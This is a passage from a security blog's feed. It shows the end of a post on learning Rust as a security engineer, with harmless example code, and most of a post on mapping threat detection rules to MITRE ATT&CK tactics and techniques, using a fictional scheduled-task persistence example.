font-style: inherit;">,</span> host<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">String</span>) <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">-&gt;</span> NetworkDevice <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">{</span></span>
<span id="cb11-14">        NetworkDevice <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">{</span></span>
<span id="cb11-15">            ip_address<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> ip<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb11-16">            hostname<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> host<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb11-17">        <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">}</span></span>
<span id="cb11-18">    <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">}</span></span>
<span id="cb11-19"></span>
<span id="cb11-20">    <span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// A method that operates on an instance of the `NetworkDevice` struct.</span></span>
<span id="cb11-21">    <span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// It takes a reference to `self`, allowing it to access the instance's</span></span>
<span id="cb11-22">    <span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// data.</span></span>
<span id="cb11-23">    <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">fn</span> ping(<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&amp;</span><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">self</span>) <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">{</span></span>
<span id="cb11-24">        <span class="pp" style="color: #AD0000;
background-color: null;
font-style: inherit;">println!</span>(<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"Pinging device at {} ({})"</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">self</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>ip_address<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">self</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>hostname)<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb11-25">    <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">}</span></span>
<span id="cb11-26"><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">}</span></span></code></pre></div></div>
<p>While generics are an excellent concept for achieving code reuse and type flexibility, their extensive application can make code significantly more complex. This is particularly true for <code>impl</code>, <code>fn</code>, and <code>struct</code> definitions used with intricate <code>where</code> clauses and <code>for</code> clauses within <code>impl</code> blocks. Beyond the added cognitive load, a drawback of widespread generic use is the potential for increased boilerplate, as you often need to explicitly implement traits or specify bounds for specific types. The code in the next listing shows an example of it: <code>fn...where...for</code> is too much for me 😓.</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb12" style="background: #f1f3f5;"><pre class="sourceCode numberSource rust number-lines code-with-copy"><code class="sourceCode rust"><span id="cb12-1"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">use</span> <span class="pp" style="color: #AD0000;
background-color: null;
font-style: inherit;">std::fmt::</span><span class="bu" style="color: null;
background-color: null;
font-style: inherit;">Debug</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb12-2"></span>
<span id="cb12-3"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">trait</span> SecurityCheck <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">{</span></span>
<span id="cb12-4">    <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">fn</span> check(<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&amp;</span><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">self</span>) <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">-&gt;</span> <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">bool</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb12-5"><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">}</span></span>
<span id="cb12-6"></span>
<span id="cb12-7"><span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// —- Simple, readable generic code —-</span></span>
<span id="cb12-8"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">fn</span> run_simple_check<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&lt;</span>T<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> SecurityCheck <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">+</span> <span class="bu" style="color: null;
background-color: null;
font-style: inherit;">Debug</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&gt;</span>(item<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&amp;</span>T) <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">{</span></span>
<span id="cb12-9">    <span class="pp" style="color: #AD0000;
background-color: null;
font-style: inherit;">println!</span>(<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"Running simple check on: {:?}"</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> item)<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb12-10"><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">}</span></span>
<span id="cb12-11"></span>
<span id="cb12-12"><span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// —- Overly complex, hard-to-read generic code —-</span></span>
<span id="cb12-13"><span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// The multiple clauses, including the `for` clause, add significant</span></span>
<span id="cb12-14"><span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// boilerplate and cognitive load, making the code's purpose difficult</span></span>
<span id="cb12-15"><span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// to parse at a glance.</span></span>
<span id="cb12-16"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">fn</span> run_complex_check<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&lt;</span><span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">'a</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> T<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> I<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> U<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&gt;</span>(items<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> I)</span>
<span id="cb12-17"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">where</span></span>
<span id="cb12-18">    I<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="bu" style="color: null;
background-color: null;
font-style: inherit;">IntoIterator</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&lt;</span>Item <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> T<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&gt;,</span></span>
<span id="cb12-19">    T<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> SecurityCheck <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">+</span> <span class="bu" style="color: null;
background-color: null;
font-style: inherit;">Debug</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">+</span> <span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">'a</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb12-20">    U<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="bu" style="color: null;
background-color: null;
font-style: inherit;">FromIterator</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&lt;</span>T<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&gt;</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">+</span> <span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">'a</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb12-21">    <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">for</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&lt;</span><span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">'b</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&gt;</span> T<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="bu" style="color: null;
background-color: null;
font-style: inherit;">AsRef</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&lt;&amp;</span><span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">'b</span> <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">str</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&gt;,</span></span>
<span id="cb12-22"><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">{</span></span>
<span id="cb12-23">    <span class="pp" style="color: #AD0000;
background-color: null;
font-style: inherit;">println!</span>(<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"Running complex check on a collection..."</span>)<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb12-24"><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">}</span></span></code></pre></div></div>
<p>Lifetimes, though conceptually straightforward prove challenging in practice. While the borrow checker frequently infers lifetimes implicitly, there are instances where explicit lifetime annotations are required. Defining something like <code>&amp;'a str</code> and then reusing <code>'a</code> throughout the code can quickly lead to visual clutter and confusion. It’s a personal hope that future versions of the borrow checker will become even more adept at lifetime inference, thereby reducing this burden on the programmer 🙏.</p>
<p>A peculiar aspect of Rust’s module system, at least initially, is the need to import specific traits to access their methods, even after importing the base type. For instance, after importing <code>std::fs::File</code> to instantiate a <code>File</code> object, you’d then need to explicitly import <code>std::io::Write</code> to use methods like <code>file.write_all(...)</code>. This pattern, though understandable from a trait-based design perspective, can feel counter-intuitive for new users 😵‍💫.</p>
<p>From my perspective, over-reliance on metaprogramming (macros and attributes) tends to make the code overly declarative. This can introduce a level of implicitness that, in my opinion, sometimes deviates from Rust’s general philosophy of explicitness. Nevertheless, when employed judiciously, metaprogramming constructs are undeniable time-savers, significantly simplifying tasks, while keeping the code readable, as previously shown with the <a href="https://crates.io/crates/thiserror">thiserror</a> crate in its <em>derive mode</em>.</p>
<p>While using metaprogramming constructs in Rust is relatively straightforward, authoring them is exceptionally challenging. Writing macros is considerably more complex than writing standard Rust code—and Rust itself is already a complex language. Personally, I intend to stay away of macro authorship due to this difficulty. I’ve heard that other modern languages, such as <a href="https://ziglang.org/">Zig</a> ⚡, offer a more approachable experience in this domain, by the way.</p>
<p>Navigating complex dependency graphs can be challenging in any language, and Rust is <a href="https://www.reddit.com/r/rust/comments/1cc431v/can_i_override_the_dependency_of_a_dependency/">no exception</a>, though the issue isn’t that Rust “doesn’t encapsulate module dependencies” but rather the complexities of transitive dependencies. I encountered a scenario where my program directly depended on module B@0.8 (the latest), but module A (also the latest version) had a transitive dependency on module B@0.6 (an older version). This conflict forced me into a tough choice: either update module A to a release candidate that supported module B@0.8, or downgrade my direct dependency on module B to match the version required by module A’s latest stable release. This highlights a common semantic versioning challenge rather than a fundamental flaw in Rust’s module system itself.</p>
</section>
<section id="the-rust-programming-language-book" class="level2">
<h2 class="anchored" data-anchor-id="the-rust-programming-language-book">The Rust Programming Language Book</h2>
<p><a href="https://doc.rust-lang.org/book/">The Rust Programming Language</a> book 📕 (TRPL) is an outstanding resource and a truly helpful initiative 🎖️. My only critique is its perceived lack of meaningful exercises and a tendency to sometimes feel like a comprehensive feature showcase rather than a deep dive into specific concepts. Perhaps a two-volume approach could address this. Nonetheless, it remains an undeniable fount of knowledge for aspiring Rustaceans. While <a href="https://rustlings.rust-lang.org/">Rustlings</a> offers a decent interactive learning experience, in my opinion, it doesn’t quite fill the gap for the kind of in-depth exercises 🏋️ and illustrative examples found in texts like <a href="https://deitel.com/java-how-to-program-11-e-early-objects-version/">Java: How to Program</a> by Deitel.</p>
</section>
<section id="why-security-engineers-should-care-about-rust" class="level2">
<h2 class="anchored" data-anchor-id="why-security-engineers-should-care-about-rust">Why Security Engineers Should Care About Rust</h2>
<p>For security engineers, Rust offers a unique blend of performance, control, and inherent safety features that are incredibly valuable:</p>
<ul>
<li><strong>Memory safety by design:</strong> Rust’s ownership system, borrowing, and lifetimes eliminate entire classes of memory safety bugs in safe code at compile time. This proactive approach significantly reduces the attack surface of applications. That’s why <em>I view Rust as fundamentally safe, not just incrementally safer than C or C++</em>: its safety model is enforced by the compiler, not bolted on through runtime checks or external tools. Understanding these mechanisms provides a deeper appreciation for memory corruption vulnerabilities, aiding in both defensive coding and offensive research.</li>
<li><strong>Systems-level control:</strong> Rust provides low-level control over hardware and memory without sacrificing safety, making it ideal for writing secure, high-performance tools often needed in information security. This includes custom network protocols, embedded systems security, or even kernel modules where precise control is paramount.</li>
<li><strong>Robust and self-contained binaries:</strong> Rust, through its tooling and build system, makes it straightforward to produce statically linked, self-contained binaries. This greatly simplifies deployment, particularly in constrained environments like air-gapped networks or incident response kits, where managing external dependencies is impractical. While not unique to Rust—languages like Go and C can also produce such binaries—Rust’s tooling lowers the friction and integrates this approach seamlessly into modern workflows. These executables are less prone to “it works on my machine” issues and tend to offer greater reliability.</li>
<li><strong>Performance for security tools:</strong> Many security operations, such as log analysis, cryptanalysis, or high-volume network traffic processing, demand high performance. Rust’s zero-cost abstractions mean you get C/C++-level performance without the traditional security pitfalls, enabling faster and more efficient security tooling.</li>
<li><strong>Vulnerability research and reverse engineering:</strong> Learning Rust deepens one’s understanding of how programs interact with the operating system and manage memory. This knowledge is directly transferable to reverse engineering efforts, helping analysts better understand exploit primitives and analyze compiled binaries for vulnerabilities.</li>
<li><strong>Secure ecosystem:</strong> <a href="https://crates.io/">crates.io</a> with its transparency features (dependencies, downloads) allows security teams to make more informed decisions when integrating third-party components, mitigating supply chain risks.</li>
</ul>
<p>Rust empowers security engineers to build more resilient tools and applications while simultaneously enhancing their theoretical and practical understanding of low-level security concepts.</p>
</section>
<section id="final-thoughts" class="level2">
<h2 class="anchored" data-anchor-id="final-thoughts">Final Thoughts</h2>
<p>Overall, <a href="https://www.rust-lang.org/">Rust</a> 🦀 is a remarkably well-designed programming language. Its learning curve is, without a doubt, steep ⛰️. While not perfect, I firmly believe that among modern systems-level programming languages, Rust stands out as the premier choice, even with promising alternatives like <a href="https://ziglang.org/">Zig</a>, which <strong>currently</strong> possesses a less mature ecosystem. Security engineers can significantly benefit from internalizing Rust’s core concepts, leveraging them to sharpen their expertise in application security, vulnerability research, and the nuanced world of memory corruption bugs. I intend to continue exploring and utilizing Rust in the coming months, confident in its utility for my professional development. 👊</p>
</section>
<section id="references" class="level2">
<h2 class="anchored" data-anchor-id="references">References</h2>
<ul>
<li><a href="https://doc.rust-lang.org/book/">The Rust Programming Language</a></li>
<li><a href="https://doc.rust-lang.org/rust-by-example/">Rust by Example</a></li>
<li><a href="https://doc.rust-lang.org/cargo/index.html">The Cargo Book</a></li>
<li><a href="https://github.com/mre/idiomatic-rust">Idiomatic Rust</a></li>
</ul>


</section>

<div id="quarto-appendix" class="default"><section class="quarto-appendix-contents" id="quarto-reuse"><h2 class="anchored quarto-appendix-heading">Reuse</h2><div class="quarto-appendix-contents"><div><a rel="license" href="https://creativecommons.org/licenses/by-sa/4.0/">CC BY-SA 4.0</a></div></div></section><section class="quarto-appendix-contents" id="quarto-citation"><h2 class="anchored quarto-appendix-heading">Citation</h2><div><div class="quarto-appendix-secondary-label">BibTeX citation:</div><pre class="sourceCode code-with-copy quarto-appendix-bibtex"><code class="sourceCode bibtex">@online{lopes2025,
  author = {Lopes, Joe},
  title = {Rust for {Security} {Engineers}},
  date = {2025-09-03},
  url = {https://lopes.id/log/rust-for-security-engineers/},
  langid = {en}
}
</code></pre><div class="quarto-appendix-secondary-label">For attribution, please cite this work as:</div><div id="ref-lopes2025" class="csl-entry quarto-appendix-citeas">
Lopes, Joe. 2025. <span>“Rust for Security Engineers.”</span> September
3. <a href="https://lopes.id/log/rust-for-security-engineers/">https://lopes.id/log/rust-for-security-engineers/</a>.
</div></div></section></div> ]]></description>
  <category>dev</category>
  <guid>https://lopes.id/log/rust-for-security-engineers/</guid>
  <pubDate>Wed, 03 Sep 2025 00:00:00 GMT</pubDate>
  <media:content url="https://lopes.id/log/rust-for-security-engineers/og-rust-for-security-engineers.webp" medium="image" type="image/webp"/>
</item>
<item>
  <title>Mapping Detection Rules to MITRE ATT&amp;CK</title>
  <dc:creator>Joe Lopes</dc:creator>
  <link>https://lopes.id/log/mapping-detection-mitre-attack/</link>
  <description><![CDATA[ 






<p>Recently, I <a href="../../log/engineering-detection-rules/">posted</a> 🔗 on how a structured engineering approach to creating detection rules can benefit a Threat Detection Engineering (TDE) program. In that post, I showed how early engineering can bring benefits, including classifying new detection rules using <strong>MITRE ATT&amp;CK</strong> terms.</p>
<p>While seemingly simple, this action involves a certain level of complexity due to the numerous techniques and inherent subjectivity involved. In this post, I will bridge that gap by outlining a process to perform this task.</p>
<div class="callout callout-style-default callout-note callout-titled">
<div class="callout-header d-flex align-content-center">
<div class="callout-icon-container">
<i class="callout-icon"></i>
</div>
<div class="callout-title-container flex-fill">
Note
</div>
</div>
<div class="callout-body-container callout-body">
<p>Following the process defined in the <a href="../../log/engineering-detection-rules/">previous post</a>, a request for new detections is made and then engineered to generate a list of requirements, which includes the rules that must be written. After scrutiny and selection for development, the <strong>Rule Design and Documentation</strong> phase begins. This involves thoroughly documenting the comprehensive context for each rule. In other words, defining the scenario. With this information, it’s time to classify them using MITRE ATT&amp;CK terms.</p>
</div>
</div>
<section id="mapping-to-mitre-attck" class="level2">
<h2 class="anchored" data-anchor-id="mapping-to-mitre-attck">Mapping to MITRE ATT&amp;CK</h2>
<p>The most important tip here is the well-known phrase: <strong>context is king</strong>. As <a href="https://ctid.mitre.org/blog/2025/05/13/ambiguous-techniques-determine-malice-through-context/">shown by MITRE</a> itself, a single technique alone is sometimes insufficient to infer maliciousness. Similarly, a command, a tool, an operating system, or a user alone, without context, may not be enough to classify an action as malicious. A Windows system in a network is not intrinsically malicious, but a Windows system running Mimikatz and connecting to an external machine might indicate credential dumping and data exfiltration.</p>
<p>This highlights why we must rely on the <strong>rule context</strong>, which exemplifies its crucial nature. The context must include <strong>baseline directives</strong>, <strong>best practices</strong>, and how the environment is <strong>expected to behave</strong>. It must also detail the <strong>protections</strong> in place against the scoped malicious behavior. Ultimately, it’s important that the context answers the question: “<em>What and why am I detecting?</em>” by describing the behavior, technical indicators, and, when possible, the adversary’s objective.</p>
<p>Refer to the appendix for a practical example.</p>
<section id="understand-the-contextbehavior-what-and-how" class="level3">
<h3 class="anchored" data-anchor-id="understand-the-contextbehavior-what-and-how">Understand the Context/Behavior: “What” and “How”</h3>
<ol type="1">
<li><p><strong>Read and Deconstruct the Context:</strong> What specific activity is being described in the detection rule context or threat modeling item? What logs or data sources are involved? What conditions trigger the alert? Focus on the <strong>actions</strong> and <strong>technical details</strong>. Avoid generic statements. For example, for a detection rule, think: <em>How</em> did the malware get there? <em>What</em> did it do when it ran?</p></li>
<li><p><strong>Identify Key Actions and Indicators:</strong> Look for action verbs (e.g., “creates,” “modifies,” “executes,” “connects”), associated nouns (e.g., “scheduled task,” “registry key,” “process,” “network connection”), specific tools (e.g., PowerShell, PsExec, <code>reg.exe</code>), and involved system components (e.g., Windows services, WMI). Highlight or extract these keywords for future reference and enrich it for better applicability. For example, if the keywords include <code>aws</code> and <code>root</code>, they could be enriched with <code>cloud</code>, <code>credential</code>, and <code>administrator</code>.</p></li>
</ol>
<div class="callout callout-style-default callout-tip callout-titled">
<div class="callout-header d-flex align-content-center">
<div class="callout-icon-container">
<i class="callout-icon"></i>
</div>
<div class="callout-title-container flex-fill">
Tip
</div>
</div>
<div class="callout-body-container callout-body">
<p>This MITRE ATT&amp;CK mapping is part of the <strong>Rule Design and Documentation</strong> phase, so any insight from this step must be used to enrich the rule context previously defined. Think of it this way: This phase starts by writing the context, then mapping it with ATT&amp;CK terminology. During the process, new ideas and information will arise, and they can—and should—be used to make the context even better.</p>
</div>
</div>
</section>
<section id="translate-to-attck-why-and-specific-how" class="level3">
<h3 class="anchored" data-anchor-id="translate-to-attck-why-and-specific-how">Translate to ATT&amp;CK: “Why” and Specific “How”</h3>
<ol type="1">
<li><p><strong>Brainstorm Potential Tactics (The “Why”):</strong> With the context in mind, it’s time to reflect on it. Answering the question “<em>why is the adversary doing this?</em>” will lead to one or more of the tactics defined in the MITRE ATT&amp;CK framework. If it’s not immediately clear, rephrasing the question to similar or more specific ones might help. For example: “<em>What’s the adversary’s immediate goal by performing this action?</em>” The answer might fall into one or more tactics—this is common and acceptable. Starting with tactics mapping is strategic because currently there are only 14 of them. Conversely, there are hundreds of techniques, so this approach is like divide and conquer.</p></li>
<li><p><strong>Identify Specific Techniques and Sub-Techniques (The Detailed “How”):</strong> Next, it’s important to understand how the adversary will achieve their goal. Here, the techniques within each mapped tactic must be analyzed to determine if they fit the action. The context proves to be paramount because it must be cross-referenced against the description of each technique to understand if there’s a reason to link them. The list of keywords will greatly aid in this sense. It’s important, however, to be as specific as possible and try to map at the level of sub-techniques, when available and in scope. Even in cases where the context relates to all sub-techniques within a technique, it’s worthwhile to map all applicable sub-techniques.</p></li>
</ol>
<div class="callout callout-style-default callout-tip callout-titled">
<div class="callout-header d-flex align-content-center">
<div class="callout-icon-container">
<i class="callout-icon"></i>
</div>
<div class="callout-title-container flex-fill">
Tip
</div>
</div>
<div class="callout-body-container callout-body">
<p>Best practice dictates mapping to the most specific sub-technique(s) that accurately describe the observed behavior. If all sub-techniques for a parent technique are relevant, list all of them; there’s no need to explicitly mark the broader technique when its sub-techniques already cover the scenario.</p>
</div>
</div>
<ol type="1">
<li><strong>Refine and Review the Mapping:</strong> Does the technique’s description truly match the behavior? Do the “Procedure Examples” and “Data Sources” listed for the technique on MITRE’s page align with the context and the data expected? If so, it’s time to ask for a peer review. Share the context and mapped tactics with a teammate and check if they found similar answers. If any mapping differs, evaluate if it makes sense and potentially make necessary adjustments. In this regard, using a Large Language Model (LLM) to assist in the review has proven to bring great results—just be aware that a good prompt will reduce the probability of hallucinations, and models might miss recent MITRE ATT&amp;CK updates, leading them to map deprecated techniques or miss recently added ones.</li>
</ol>
<div class="callout callout-style-default callout-tip callout-titled">
<div class="callout-header d-flex align-content-center">
<div class="callout-icon-container">
<i class="callout-icon"></i>
</div>
<div class="callout-title-container flex-fill">
Tip
</div>
</div>
<div class="callout-body-container callout-body">
<p>Finding the perfect technique that applies to a context is <strong>highly subjective</strong>. Ask two people to map the same scenario, and they might give different results—and there’s a possibility of both being right. In this sense, when mapping contexts to ATT&amp;CK, the practitioner is trying to find the techniques that best fit the situation, thus making “wrong” answers less common. That’s why peer review is important here, especially when working with teams.</p>
<p>It’s almost impossible to make every member of the team give the exact same answers, but having <strong>common ground</strong> is important. After completing the initial map, it is worthwhile sharing the context with a teammate and asking them to do the same. Comparing both results and validating them with the help of a decent LLM will yield interesting and robust results.</p>
</div>
</div>
</section>
</section>
<section id="tools" class="level2">
<h2 class="anchored" data-anchor-id="tools">Tools</h2>
<p>Some tools are freely available to aid in using MITRE ATT&amp;CK. The one I use the most is the <a href="https://chromewebstore.google.com/detail/attck-powered-suit/gfhomppaadldngjnmbefmmiokgefjddd?hl=en">ATT&amp;CK Powered Suit</a>, a Chrome extension that provides quick access to the matrix, allowing the user to query by each word present in many fields, like descriptions, titles, and IDs. This greatly helps, especially when a keyword list is available.</p>
<p>MITRE also offers a spreadsheet version of the entire matrix through the <a href="https://attack.mitre.org/resources/attack-data-and-tools/">ATT&amp;CK Data and Tools</a> page. This is useful for quick access. Besides that, as previously mentioned, <strong>a decent LLM with a good prompt</strong> 🤖 is hands down the best companion.</p>
</section>
<section id="bottom-line" class="level2">
<h2 class="anchored" data-anchor-id="bottom-line">Bottom Line</h2>
<p>While <strong>MITRE ATT&amp;CK</strong> is a flexible and well-documented framework, it can be misused if applied without context, threat relevance, or operational maturity. The most common failure, however, is simply not using it at all. Following the strategy of mapping tactics then techniques will greatly help in the process, and leveraging tools can make it easier. However, taking the time to read and understand what the chosen tactic or technique aims to represent is crucial—and this is the only way to truly grasp the gains of this framework.</p>
<p>It’s always important to highlight that MITRE ATT&amp;CK is not complete by itself. Using it to map scenarios is great, but it’s incomplete by design. Not because it’s a flawed product, but because it’s infeasible to map all possible procedures under every technique. Bearing this in mind when analyzing a MITRE ATT&amp;CK mapping underscores the importance of having <strong>comprehensive context</strong> for each TTP in the map. 🏅</p>
<p>If it looks challenging in the beginning, that’s because it is, but it’s totally worth the effort. A final tip for beginners: start small and iterate continually until the process matures. Although not perfect, this is certainly a good path towards a truly threat-informed defense, and good mapping will be prolific in different ways. From allowing engineers to find similar rules in public repositories, to building more precise coverage maps. 🚀</p>
</section>
<section id="appendix-use-case-and-context-example" class="level2">
<h2 class="anchored" data-anchor-id="appendix-use-case-and-context-example">Appendix: Use Case and Context Example</h2>
<p>Here is a use case and the context derived from it in a fictional scenario.</p>
<section id="use-case" class="level3">
<h3 class="anchored" data-anchor-id="use-case">Use Case</h3>
<section id="problem-statement-context" class="level4">
<h4 class="anchored" data-anchor-id="problem-statement-context">Problem Statement &amp; Context</h4>
<p>We are concerned about adversaries leveraging scheduled tasks to achieve persistence within our environment by executing malicious PowerShell scripts. In particular, the creation of scheduled tasks that invoke scripts from temporary directories (e.g., <code>C:\Windows\Temp</code>) is highly suspicious, as these locations are not used by legitimate IT operations for storing or running scheduled tasks. Standard user accounts do not typically create scheduled tasks, and authorized tasks are generally deployed via centralized tools like GPO or SCCM, running from trusted paths. Given our current baseline—which includes enforced PowerShell execution policies, active EDR monitoring, and antivirus scanning of temporary directories—such behavior falls well outside of normal activity. This anomaly may indicate an attacker attempting to establish persistence, aiming to ensure the execution of malicious scripts at startup or on a recurring basis.</p>
</section>
<section id="expected-outcome" class="level4">
<h4 class="anchored" data-anchor-id="expected-outcome">Expected Outcome</h4>
<p>We need to detect and alert on the creation of scheduled tasks by non-administrative users that execute PowerShell scripts from temporary or otherwise untrusted directories. This detection helps us identify early signs of persistence mechanisms deployed by threat actors, allowing for rapid investigation and containment before further compromise.</p>
</section>
</section>
<section id="context" class="level3">
<h3 class="anchored" data-anchor-id="context">Context</h3>
<p>The environment is secured with strict baseline controls where standard users are not permitted to create scheduled tasks, and PowerShell execution is governed by Group Policy with comprehensive logging enabled. Temporary directories are not intended to host executable or persistent scripts, and application whitelisting is enforced on critical systems. Expected behavior dictates that legitimate scheduled tasks originate from centralized tools like GPO or SCCM and run from trusted directories, making user-created tasks highly anomalous. Protections include active EDR monitoring for process and task creation, antivirus scanning of temporary paths, and enforced PowerShell execution policies. Regular reviews of scheduled tasks and system configurations support the early detection of misuse. The detection rule focuses on identifying suspicious scheduled tasks created by non-admin users that run PowerShell scripts from temporary locations—activity strongly associated with persistence techniques used by adversaries to maintain access and execute code stealthily.</p>
<section id="directly-used-keywords" class="level4">
<h4 class="anchored" data-anchor-id="directly-used-keywords">Directly Used Keywords</h4>
<ul>
<li><strong>Action verbs:</strong> create, execute, monitor, enforce</li>
<li><strong>Nouns:</strong> scheduled task, script, directory, process, user, system, access</li>
<li><strong>Tools:</strong> powershell, gpo, edr, antivirus</li>
<li><strong>Components:</strong> temp, startup</li>
</ul>
</section>
<section id="derived-keywords" class="level4">
<h4 class="anchored" data-anchor-id="derived-keywords">Derived Keywords</h4>
<ul>
<li><strong>Threat Concepts:</strong> persistence, escalation, stealth</li>
</ul>


</section>
</section>
</section>

<div id="quarto-appendix" class="default"><section class="quarto-appendix-contents" id="quarto-reuse"><h2 class="anchored quarto-appendix-heading">Reuse</h2><div class="quarto-appendix-contents"><div><a rel="license" href="https://creativecommons.org/licenses/by-sa/4.0/">CC BY-SA 4.0</a></div></div></section><section class="quarto-appendix-contents" id="quarto-citation"><h2 class="anchored quarto-appendix-heading">Citation</h2><div><div class="quarto-appendix-secondary-label">BibTeX citation:</div><pre class="sourceCode code-with-copy quarto-appendix-bibtex"><code class="sourceCode bibtex">@online{lopes2025,
  author = {Lopes, Joe},
  title = {Mapping {Detection} {Rules} to {MITRE} {ATT\&amp;CK}},
  date = {2025-07-09},
  url = {https://lopes.id/log/mapping-detection-mitre-attack/},
  langid = {en}
}
</code></pre><div class="quarto-appendix-secondary-label">For attribution, please cite this work as:</div><div id="ref-lopes2025" class="csl-entry quarto-appendix-citeas">
Lopes, Joe. 2025. <span>“Mapping Detection Rules to MITRE
